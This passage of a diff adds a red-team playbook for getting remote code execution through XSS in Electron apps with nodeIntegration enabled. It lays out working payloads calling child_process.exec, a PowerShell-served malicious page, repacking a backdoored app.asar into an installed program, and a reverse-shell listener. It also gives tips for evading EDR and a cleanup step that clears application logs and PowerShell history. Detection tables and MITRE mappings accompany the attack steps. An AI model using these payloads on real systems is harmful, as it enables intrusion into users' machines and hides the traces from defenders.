195
|
+
**If `require` is not directly accessible (contextIsolation partial config):**
|
|
196
|
+
|
|
197
|
+
```javascript
|
|
198
|
+
// Try accessing via window object
|
|
199
|
+
<img src=x onerror="window.require('child_process').exec('calc.exe')">
|
|
200
|
+
|
|
201
|
+
// Try preload script leak
|
|
202
|
+
<img src=x onerror="(()=>{const e=document.createElement('script');e.src='data:,require(\'child_process\').exec(\'calc.exe\')';document.head.appendChild(e)})()">
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
### Step 5 — Deliver the Payload
|
|
206
|
+
|
|
207
|
+
**Option A — XSS via user input field (innerHTML sink):**
|
|
208
|
+
|
|
209
|
+
1. Launch the target application.
|
|
210
|
+
2. Navigate to the input field that feeds the vulnerable `innerHTML` assignment.
|
|
211
|
+
3. Paste the payload directly into the field.
|
|
212
|
+
4. Trigger the rendering action (submit, preview, refresh).
|
|
213
|
+
|
|
214
|
+
**Option B — XSS via externally loaded URL (app calls `loadURL`):**
|
|
215
|
+
|
|
216
|
+
```powershell
|
|
217
|
+
# Start a local HTTP server serving a malicious page
|
|
218
|
+
# Create the payload HTML file
|
|
219
|
+
Set-Content -Path "C:\RT\d001\serve\index.html" -Value @"
|
|
220
|
+
<!DOCTYPE html>
|
|
221
|
+
<html>
|
|
222
|
+
<body>
|
|
223
|
+
<img src=x onerror="require('child_process').exec('calc.exe')">
|
|
224
|
+
</body>
|
|
225
|
+
</html>
|
|
226
|
+
"@
|
|
227
|
+
|
|
228
|
+
# Serve it
|
|
229
|
+
python -m http.server 8080 --directory C:\RT\d001\serve
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
If the app loads a URL you can influence (e.g., via a parameter, config file, or intercepted request), point it to `http://127.0.0.1:8080/index.html`.
|
|
233
|
+
|
|
234
|
+
**Option C — Modify extracted source and repack (authorized lab scenario):**
|
|
235
|
+
|
|
236
|
+
```powershell
|
|
237
|
+
# Edit the renderer to inject payload on load
|
|
238
|
+
Add-Content -Path "C:\RT\d001\app-extracted\renderer.js" -Value `
|
|
239
|
+
"document.body.innerHTML += '<img src=x onerror=\"require(\'child_process\').exec(\'calc.exe\')\">';"
|
|
240
|
+
|
|
241
|
+
# Repack the ASAR
|
|
242
|
+
asar pack C:\RT\d001\app-extracted "C:\Program Files\TargetApp\resources\app.asar"
|
|
243
|
+
|
|
244
|
+
# Restart the application
|
|
245
|
+
Stop-Process -Name "TargetApp" -Force
|
|
246
|
+
Start-Process "C:\Program Files\TargetApp\TargetApp.exe"
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
### Step 6 — Confirm OS Command Execution
|
|
250
|
+
|
|
251
|
+
**Expected output for calc.exe payload:**
|
|
252
|
+
|
|
253
|
+
```
|
|
254
|
+
Windows Calculator opens on the desktop.
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
**Expected output for file marker payload:**
|
|
258
|
+
|
|
259
|
+
```powershell
|
|
260
|
+
Get-Content C:\RT\d001\pwned.txt
|
|
261
|
+
# Output: pwned
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
**Expected output for reverse shell payload:**
|
|
265
|
+
|
|
266
|
+
```bash
|
|
267
|
+
# On attacker machine (listener)
|
|
268
|
+
nc -lvnp 4444
|
|
269
|
+
# Connection received from <target-ip>
|
|
270
|
+
# Microsoft Windows [Version ...]
|
|
271
|
+
# C:\Program Files\TargetApp>whoami
|
|
272
|
+
# desktop-abc\user
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
## Real-World Reference
|
|
276
|
+
|
|
277
|
+
A business application (e.g., a Markdown editor, internal dashboard, or chat client) loads external web content or user-supplied HTML inside a `BrowserWindow` configured with `nodeIntegration: true`. An attacker who can influence the loaded content — through a stored XSS in a connected web service, a malicious file opened by the app, or a man-in-the-middle on unencrypted HTTP — injects a `require('child_process')` payload. The Electron renderer executes it with the privileges of the desktop user, launching `calc.exe` on Windows as a proof of concept or a reverse shell in a real attack.
|
|
278
|
+
|
|
279
|
+
Notable public cases:
|
|
280
|
+
- **VSCode extensions** (pre-2019) — extensions ran in renderer with nodeIntegration before the sandbox was enforced.
|
|
281
|
+
- **Slack desktop client** (2019, HackerOne) — XSS in message rendering led to RCE via nodeIntegration before the fix.
|
|
282
|
+
- **Mattermost desktop** (CVE-2017-8834 class) — loaded external URLs with nodeIntegration enabled.
|
|
283
|
+
- **exodus cryptocurrency wallet** (2018) — nodeIntegration enabled; XSS in transaction data led to wallet key exfiltration.
|
|
284
|
+
|
|
285
|
+
## MITRE ATT&CK Mapping
|
|
286
|
+
|
|
287
|
+
| Step | Phase | Tactic | Technique | Sub-technique |
|
|
288
|
+
|---|---|---|---|---|
|
|
289
|
+
| 1 — Extract ASAR | Reconnaissance | Discovery | T1083 — File and Directory Discovery | — |
|
|
290
|
+
| 2 — Find nodeIntegration | Reconnaissance | Discovery | T1518 — Software Discovery | T1518.001 — Security Software Discovery (config audit) |
|
|
291
|
+
| 3 — Find XSS surface | Reconnaissance | Discovery | T1083 — File and Directory Discovery | — |
|
|
292
|
+
| 4 — Craft JS payload | Execution | Execution | T1059.007 — Command and Scripting Interpreter: JavaScript | — |
|
|
293
|
+
| 5 — Deliver XSS | Execution | Initial Access / Execution | T1059.007 — JavaScript | T1189 — Drive-by Compromise (if via external URL) |
|
|
294
|
+
| 6 — OS command execution | Execution | Execution | T1059.003 — Windows Command Shell | — |
|
|
295
|
+
| 6 — Reverse shell | Command & Control | C2 | T1059.004 — Unix Shell / T1059.003 | T1071.001 — Web Protocols |
|
|
296
|
+
| Post-exploitation | Privilege Escalation | — | T1548 — Abuse Elevation Control Mechanism | If app runs elevated |
|
|
297
|
+
|
|
298
|
+
## Detection and OPSEC
|
|
299
|
+
|
|
300
|
+
### How This Attack is Detected
|
|
301
|
+
|
|
302
|
+
| Detection Point | Signal |
|
|
303
|
+
|---|---|
|
|
304
|
+
| Endpoint EDR | `child_process.exec` spawning `cmd.exe` / `calc.exe` as child of Electron renderer process |
|
|
305
|
+
| Process tree | `TargetApp.exe` → `cmd.exe` (anomalous parent-child relationship) |
|
|
306
|
+
| File system | New files written by the Electron process to unexpected locations |
|
|
307
|
+
| Network | Outbound TCP connection from Electron process to unknown IP on non-standard port (reverse shell) |
|
|
308
|
+
| ASAR modification | Hash mismatch on `app.asar` if integrity checking is in place |
|
|
309
|
+
| Logging | `console.error` / renderer crash logs if payload fails |
|
|
310
|
+
|
|
311
|
+
### Reducing Detection Risk During Authorized Engagement
|
|
312
|
+
|
|
313
|
+
- Use the **file marker payload** (`echo pwned > file.txt`) instead of calc.exe — calc.exe triggers many EDR behavioral rules.
|
|
314
|
+
- For reverse shell testing, use an **internal listener** (same subnet) to avoid crossing network egress controls.
|
|
315
|
+
- Avoid repacking `app.asar` in production environments — use Option A or B (live injection) to avoid modifying binaries.
|
|
316
|
+
- Schedule the test during a **maintenance window** if EDR alerting is active.
|
|
317
|
+
- Coordinate with the blue team so payload execution does not trigger an incident response.
|
|
318
|
+
- Use **short-lived payloads** — write output to a file and delete it rather than keeping a shell open.
|
|
319
|
+
|
|
320
|
+
### Artifacts Left Behind
|
|
321
|
+
|
|
322
|
+
| Artifact | Location | Notes |
|
|
323
|
+
|---|---|---|
|
|
324
|
+
| Extracted ASAR | `C:\RT\d001\app-extracted\` | Working directory — remove after test |
|
|
325
|
+
| Marker file | `C:\RT\d001\pwned.txt` | Remove after confirming RCE |
|
|
326
|
+
| Modified `app.asar` | `C:\Program Files\TargetApp\resources\app.asar` | Restore original if repacked |
|
|
327
|
+
| HTTP server log | `C:\RT\d001\serve\` | Python HTTP server access logs |
|
|
328
|
+
| Electron renderer logs | `%APPDATA%\<AppName>\logs\` | May contain console output from payload |
|
|
329
|
+
| Windows Event Log | Security / Application | Process creation events (Event ID 4688 if auditing enabled) |
|
|
330
|
+
|
|
331
|
+
## Cleanup
|
|
332
|
+
|
|
333
|
+
```powershell
|
|
334
|
+
# 1. Remove working directory
|
|
335
|
+
Remove-Item -Recurse -Force C:\RT\d001
|
|
336
|
+
|
|
337
|
+
# 2. Restore original app.asar (if repacked during Option C)
|
|
338
|
+
# Requires having backed up the original first:
|
|
339
|
+
# Copy-Item "C:\Program Files\TargetApp\resources\app.asar" "C:\RT\backup\app.asar.bak"
|
|
340
|
+
Copy-Item "C:\RT\backup\app.asar.bak" "C:\Program Files\TargetApp\resources\app.asar" -Force
|
|
341
|
+
|
|
342
|
+
# 3. Restart the application to load the restored ASAR
|
|
343
|
+
Stop-Process -Name "TargetApp" -Force -ErrorAction SilentlyContinue
|
|
344
|
+
Start-Process "C:\Program Files\TargetApp\TargetApp.exe"
|
|
345
|
+
|
|
346
|
+
# 4. Clear Electron app logs
|
|
347
|
+
Remove-Item -Force "$env:APPDATA\TargetApp\logs\*" -ErrorAction SilentlyContinue
|
|
348
|
+
|
|
349
|
+
# 5. Clear PowerShell command history
|
|
350
|
+
Clear-History
|
|
351
|
+
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
|
|
352
|
+
|
|
353
|
+
# 6. Verify cleanup
|
|
354
|
+
Test-Path C:\RT\d001 # Should return False
|
|
355
|
+
Get-Process -Name "TargetApp" | Select-Object Name, Id # Should show clean restart
|
|
356
|
+
```
|
|
357
|
+
|
|
358
|
+
## References
|
|
359
|
+
|
|
360
|
+
### Tools
|
|
361
|
+
|
|
362
|
+
| Tool | Purpose | URL |
|
|
363
|
+
|---|---|---|
|
|
364
|
+
| `asar` | Extract and repack Electron ASAR archives | https://github.com/electron/asar |
|
|
365
|
+
| `electron-builder` | Repack full Electron applications | https://www.electron.build/ |
|
|
366
|
+
| Burp Suite | Intercept HTTP loaded by Electron | https://portswigger.net/burp |
|
|
367
|
+
| Frida | Dynamic instrumentation of Electron processes | https://frida.re |
|
|
368
|
+
| DevTools (F12) | Built-in Chromium DevTools inside Electron | Enabled by default in dev builds |
|
|
369
|
+
|
|
370
|
+
### Reading
|
|
371
|
+
|
|
372
|
+
- Electron Security Documentation: https://www.electronjs.org/docs/latest/tutorial/security
|
|
373
|
+
- "Electron Security Checklist" — GitHub: https://github.com/nicedoc/awesome-electron-security
|
|
374
|
+
- CVE-2018-15685 — Electron nodeIntegration bypass via `<webview>` drag-and-drop
|
|
375
|
+
- HackerOne report #681532 — Slack XSS → RCE via nodeIntegration (2019)
|
|
376
|
+
- "From Markdown to RCE in Atom" — https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/
|
|
377
|
+
- MITRE ATT&CK T1059.007: https://attack.mitre.org/techniques/T1059/007/
|
|
378
|
+
- MITRE ATT&CK T1059.003: https://attack.mitre.org/techniques/T1059/003/
|